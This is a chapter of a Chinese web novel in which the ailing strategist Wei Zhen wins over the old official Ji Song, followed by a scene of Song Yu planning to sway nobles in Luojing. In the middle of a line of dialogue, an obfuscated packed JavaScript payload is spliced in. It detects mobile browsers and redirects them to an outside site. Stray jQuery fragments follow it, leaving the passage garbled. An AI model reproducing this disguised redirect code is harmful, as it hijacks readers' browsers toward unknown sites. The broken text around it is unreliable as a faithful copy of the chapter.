135.故人

作品:《穿到乱世,被迫成为枭雌

    凛冬方歇,春色广袤的潼州平原上开始复苏。


    裴若望带着大军绕过彬州,借道梧州,终于在半个月后到达了黎阳。田垄间,女军整齐的步伐踩过土坑,附着在地面的尘埃簌簌震动。魏蓁掀开马车竹帘,生机勃勃的景象映入眼帘。


    农田连阡陌,黍稷刚被插入土里,等待着属于自己的时令。


    与魏蓁记忆中干涸龟裂的旱景不同,此时的潼州,生机盎然,万物竞发。裴若望骑马在旁护卫,魏蓁放下竹帘,随后里面便传来一阵阵咳嗽声。


    大军在黎阳城外驻扎,裴若望则带着几百亲兵护送魏蓁暗中入城。


    马车缓缓行驶在车道上,车轮轱辘作响,裴若望一手牵着缰绳,一手握着剑,警惕地盯着周围的动静。黎阳城的百姓都是从潼州其余郡县迁移过来的流民,与想象中的荒芜不同,城内倒是市井喧嚣,一派平和气象。


    “军师,只带几百亲兵去见潼州别驾,是否太过冒险?这里毕竟是萧宁的地盘,若是来人有异心,军师就危险了。”


    裴若望想到魏蓁独自去见潼州别驾,心中总有些不安。


    摇晃的车身传出魏蓁淡然的声音,“若望不必担心,我只是去见一位故人,不会有事的。”


    马车缓缓停在一处偏僻的宅院,周围人烟稀少,房梁上也结了蛛网,破损的屋檐无人修葺。魏蓁带着幕篱从车上下来,春光溶溶,魏蓁却还裹着冬日的厚重狐裘,身形清瘦。


    护送魏蓁走进正堂,裴若望便见一人穿着粗布麻衣负手立于堂中,他背对大门,让人看不清长相。


    裴若望不着痕迹地将手按在了剑上。


    “别来无恙,纪大人。”


    魏蓁掀开幕篱,露出清亮的眼,那人也转过身,花白的胡须垂在胸前,举手投足间透露出文人风骨。


    “琐事缠身,文郁还没来得及恭喜纪大人升任潼州别驾。”


    时隔经年,纪颂早已不再是当年嫉恶如仇、黑白分明的郡丞,如今他已两鬓斑白,眼下布满褶皱,一双眼中写满了沧桑。


    “有什么可恭喜的,不过是没有兵权的闲官罢了。”纪颂摸了摸自己的胡须,他看着魏蓁,眼中神色复杂。


    “我只是没想到,当年潼州的两个小姑娘,如今已经成为割据一方的诸侯了。”


    “宋虞,哦不,女君现在如何?”


    魏蓁摇着便面笑道,“劳纪大人惦念,女君一切安好。”


    想到当年之事,纪颂忍不住感叹,“距离黎阳之战,都过去这么多年了。我时常在想,若当时,我和你们一同前往洛京,事情会不会有所不同。”


    听纪颂提到往事,魏蓁只是微微一笑,“殊途也可同归。纪大人现在与我们同路,也来得及。”


    纪颂复杂地看了一眼魏蓁,“你不会以为,我忘记宋虞弃槐县而走的事情了吧?”


    魏蓁垂眸,她缓缓说道,“女君从未抛弃槐县,是我隐瞒了后果,哄骗女君前往青州。女君便是回来,槐县也逃不过屠城。逃奔青州是权宜之计,若不逃,那便再无东山再起之日。”


    说完,魏蓁便径直跪在了纪颂面前,裴若望错愕地看着魏蓁的行径,想要将人扶起来,却见魏蓁冲她摇了摇头。


    裴若望收回了自己的手。


    魏蓁挺直脊背,坦然地说道,“千错万错全在我一人,槐县百姓和纪大人若要怪,那便怪我吧。”


    纪颂看着跪在地上的魏蓁,心中五味杂陈。纪颂又何尝不知道,弃城而逃才是明智之举呢。但每当想起屠城时的惨象,他便会从梦中惊醒,再无法入睡。对于幸存之人来说,那简直就是地狱。


    见纪颂脸上浮现出悲恸之色,魏蓁继续说道,“纪大人为萧宁做事,就能得心安吗?别忘了,她才是屠城的刽子手。纪大人就算再忠心,在萧宁眼中,也不过是一条会摇尾巴的狗罢了。”


    沉默半晌后,苍老的声音缓缓响起,“你这次来,想必是女君有令,准备对潼州开战了。”


    魏蓁并没有直接回答他的问题,“我来时见潼州百姓安居乐业,田连阡陌,可见纪大人治理有方。大人应该也不想发动战争,让好不容易重建的家园毁于一旦吧。魏蓁恳请大人,念在当年的情分上,助女君一臂之力。”


    说完之后,便是一阵剧烈的咳嗽,魏蓁面色惨白,胸口剧烈起伏,纪颂心有不忍,上前想要将她扶起来,却被她推开手。


    只听魏蓁用虚弱沙哑的声音说道,“纪大人若是不答应我,我便长跪不起,以此谢罪。”


    俯视着眼前这位刚烈的女子,纪颂不禁想起来,魏蓁在屠城前夕,写给他的那封信。


    “萧宁来攻槐县,大人务必投降,放萧宁入城。唯有此,方能保命。”


    纪颂很久以后,才明白魏蓁的意思。


    萧宁向来看不起趋炎附势反复狡诈之徒,但反之,她也不会对这种人赶尽杀绝。对萧宁没有威胁的人,不会被萧宁忌惮,自然也最安全。


    这也是为何纪颂能成为潼州别驾的原因。他在外人面前,一直表现出趋炎附势之态,降低萧宁的疑心,才苟活到现在。同时萧宁在潼州屠城,引起潼州百姓的巨大不满和恐惧,萧宁需要一个在潼州德高望重的人,安抚百姓。


    而纪颂,就是最好的人选。但萧宁没有料到的是,纪颂这些年在潼州汲汲营营,早已经成为潼州实际的掌权者,这些年,潼州刺史换了一个又一个,但别驾,却一直没有变过。要想拿下潼州,只需说服纪颂。


    想到当年是魏蓁的信救了自己的性命,纪颂心下一软。同时,他也不由心惊,面前这个文弱的女子,难道在一开始,便在为此刻做准备了吗?


    魏蓁似乎猜测到了纪颂心中所想,她与纪颂对视,纪颂发觉,自己从来没有看清过她。


    一阵穿堂风掠过,将木门吹得吱呀作响。春光洒进旧无人迹的地面,铺上一层金光。


    须臾,纪颂长叹了一口气,他再度弯腰,将魏蓁扶起来,“我一直在这里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388211|172217||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,等你们回来。”


    “你不说,我也会答应你的。”


    魏蓁虚弱地扯出一个笑,“我在这里,替女君,替天下黎民,先谢过大人了。”


    话音刚落,魏蓁跪在地上的羸弱身形微微晃动,下一刻,魏蓁再不受控制,捂住嘴重重咳嗽起来。


    半晌后,骇人的咳嗽声才停止。


    她被人扶着,缓缓低头,看向自己的手,映入眼帘的,是触目惊心的浓稠鲜血。


    *


    阳春三月,天光晴好,洛京的慕容府朱门紧闭。书房里面传来一阵交谈之声,惊起枝头的鸟雀,纤细的树枝微颤,鸟雀便扑棱着翅膀飞远了。


    “你前些日子让我帮忙将周氏族人送出洛京,我已经打点好了守卫,如今周府里面就是空宅一座,萧宁只怕要过些时日才能察觉到异常。你又何必亲自来一趟,就对我这么不信任?”


    慕容蔚看着面前的两位不速之客,拧紧眉头。


    宋虞盘腿在书案前,随意拿起盘中的橘子剥开,分了一半给旁边的谢徽。


    谢徽手中拿着剑,警惕地盯着慕容蔚。


    慕容蔚不由瞧了一眼谢徽,“这位是?”


    宋虞说,“我的侍卫。”


    慕容蔚微微挑眉,没有再多问。但她还是气不过宋虞的擅自行动,“你知不知道,洛京有多少人想要杀了你?你如此不顾大局,跑到洛京来做什么?”


    宋虞没有回答她的问题,只是漫不经心地说道,“我半年前写信让你办的事,你办的如何了?”


    慕容蔚一愣,想到这件事,她不由沉下眸,“我已经在暗中联络被萧宁打压的世族,这些人嘴上说得好听,什么萧宁暴政天理不容,但真要让他们举事,他们又开始犹豫不决。想要与这些人联手,只怕没有那么容易。”


    萧宁治下的文武百官之中,并非铁板一块,世族和庶族之争越发严峻,一直被萧宁打压的世族,仕途受阻,心中也多有不忿之音,宋虞便打算笼络这一部分世族。


    她在半年前便写信给慕容蔚,让她联络这些世族女官,最好能说动她们以为内应。


    知道事情不会那么容易,宋虞用食指敲了敲书案,说道,“既然如此,你明晚便将她们召集到此处,我要亲自见见她们。”


    “你疯了?万一有人泄露了你的行踪——”慕容蔚的话被人打断。


    “放心吧,不会有人泄露我的行踪。在泄露我的行踪之前,她们便已经人头落地了。”宋虞面无表情地说道。


    慕容蔚看了一眼宋虞身后的谢徽,没有说话。


    不知为何,她总觉得宋虞和之前有些不一样了。如果说在乌勒时的宋虞还有些迷茫,如今的她神色坚定,似乎已经明白,自己想要什么了。


    “你要见她们做什么?”


    慕容蔚有些捉摸不透宋虞的举动。


    宋虞只是勾起嘴角,眸中透露出一丝慵懒,


    “还能干什么?自然是亲自说服她们。”